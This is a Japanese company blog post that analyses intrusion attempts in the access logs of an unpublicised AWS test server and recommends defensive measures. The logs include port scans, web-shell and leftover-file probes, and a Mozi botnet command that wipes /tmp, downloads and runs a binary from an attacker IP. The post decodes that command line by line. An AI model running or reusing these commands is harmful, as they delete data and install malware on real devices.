[AWS]非公開Webサーバのアクセスログ考察

皆さま、こんにちは。
2020年7月に入社した、テレマティクス開発部の後藤です。

はじめに

最近、AWSに検証用のWebサーバを立てました。
検証用なので、ドメイン登録はしておらず、非公開のサーバです。ただし、IoT端末からのアクセスがあるため、Webサービスへのアクセスは全てのIPアドレスから許可しています。
アクセスログを確認したところ、検証用端末以外に外部からアクセスしている端末が結構ありました。
というのも、AWSのグローバルIPアドレスは、公開されているため、誰でも簡単に分かり、IPアドレスでアクセスできてしまいます。

(参考:AWS IPアドレスの範囲)
https://docs.aws.amazon.com/ja_jp/general/latest/gr/aws-ip-ranges.html
そこで、どのようなアクセスが、どこから来ているか、興味深かったので、考察してみました。
(※接続元のIPアドレスは、一部加工しています)

ポートスキャン

39.106.xxx.xxx – – [03/Nov/2020:19:42:00 +0900] “GET / HTTP/1.0” 200 2466 “-” “masscan/1.0 (https://github.com/robertdavidgraham/masscan)” 2647 17660 0
210.245.xxx.xxx – – [03/Nov/2020:19:43:57 +0900] “GET / HTTP/1.0” 200 2466 “-” “masscan/1.0 (https://github.com/robertdavidgraham/masscan)” 2646 18150 0

「masscan」という高速なポートスキャナツールによるポートスキャンです。
https://github.com/robertdavidgraham/masscan

ポートスキャナツールは、不要なポートが空いていないかを確認するうえでは、有効です。
しかし、攻撃者に使われると空いているポートから侵入される可能性があります。
攻撃者に侵入されないためにも、不要なポートを塞いでおくことが重要です。
ホワイトリスト方式で、必要なポートのみを開ける対策が良いと思います。

シェルの実行

121.25.xxx.xxx – – [04/Nov/2020:00:04:29 +0900] “GET /shell?cd+/tmp;rm+-rf+*;wget+http://121.25.xxx.xxx:xxx/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1” 404 – “-” “Hello, world” 2644 291 0

下記のシェルを実行しようとするアクセスです。

cd /tmp;
rm -rf *;
wget http://121.25.xxx.xxx:xxx/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

ご丁寧に「/tmp」以下を削除してから、ソフト(Mozi.a)をダウンロードし、実行します。
対策としては、リモートでシェルが動作しないようにする必要があります。
なお、このアクセスは、監視カメラ用のデジタルビデオレコーダー「MVPower DVR」に搭載されたルータ機能の脆弱性を狙ったものです。

(参考:MVPower DVR TV-7104HE 1.8.4 115215B9 – Shell Command Execution (Metasploit))
https://www.exploit-db.com/exploits/41471

ロシアの方?、頑張る

217.8.xxx.xxx – – [03/Nov/2020:20:44:41 +0900] “POST /api/jsonws/invoke HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36” 2647 292 0
217.8.xxx.xxx – – [03/Nov/2020:20:44:41 +0900] “GET /solr/admin/info/system?wt=json HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36” 6427 289 0
217.8.xxx.xxx – – [03/Nov/2020:20:44:42 +0900] “GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1” 200 2466 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36” 2648 17522 0
217.8.xxx.xxx – – [03/Nov/2020:20:44:42 +0900] “GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1” 200 2466 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36” 2647 17635 0
217.8.xxx.xxx – – [03/Nov/2020:20:44:43 +0900] “GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36” 2646 278 0

同じIPアドレス「217.8.xxx.xxx」から短時間に複数のアクセスがあったので、どこから来ているか調べてみました。
WHOIS情報によると、「ロシア」のようです。
(参考:WHOISとは)
https://jprs.jp/about/dom-search/whois/

inetnum: 217.8.xxx.xxx – 217.8.xxx.xxx
netname: grandcosmetic
country: RU   → (ロシア)

WHOIS情報を確認することで、どこから来ているかの目安になります。
どこの国からのアクセスが多いか統計を取ってみると、面白いかもしれません

中国の方?、もっと頑張る

111.229.xxx.xxx – – [02/Nov/2020:07:20:59 +0000] “POST /yitian.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:20:59 +0000] “POST /shell.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:20:59 +0000] “POST /wuwu11.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:20:59 +0000] “POST /xw.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
・・・(略)
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /421.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /444.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /a411.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /whoami.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /whoami.php.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /9.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:03 +0000] “POST /98k.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36″
・・・(略)
Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:04 +0000] “POST /ppl.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:05 +0000] “POST /tty.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:05 +0000] “POST /ooi.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
111.229.xxx.xxx – – [02/Nov/2020:07:21:05 +0000] “POST /aap.php HTTP/1.1” 404 196 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36”
・・・(略)

短時間に膨大なアクセスがあり、IPアドレスは「111.229.xxx.xxx」。WHOIS情報によると「中国」のようです。

inetnum: 111.229.xxx.xxx – 111.229.xxx.xxx
netname: TencentCloud
country: CN   → (中国)

全てを抜粋できませんが、色々な名前のファイル名でアクセスをしています。
テスト等による置き忘れを狙った「放置しているファイル」を探している可能性が高そうです。
放置したファイルは、テストの名残で、パスワードのような機密情報が書いてある可能性が高いので、不要なファイルは、削除した方が良いです。

おわりに

サイバー攻撃の話は、よく耳にしますが、有名なシステムだけでなく、身近な所でも発生しています。
特に、管理がずさんなサーバや放置されているサーバは、踏み台にされ、そこから大規模なシステムに攻撃することも珍しくありません。

ポートの制限、権限の設定、余計なファイルは置かない、リモートから操作できるアプリケーションを入れないなど、環境に合わせた対策が必要になります。
サーバを管理している方は、今一度、ログを確認し、設定を見直してみるのも良いかと思います。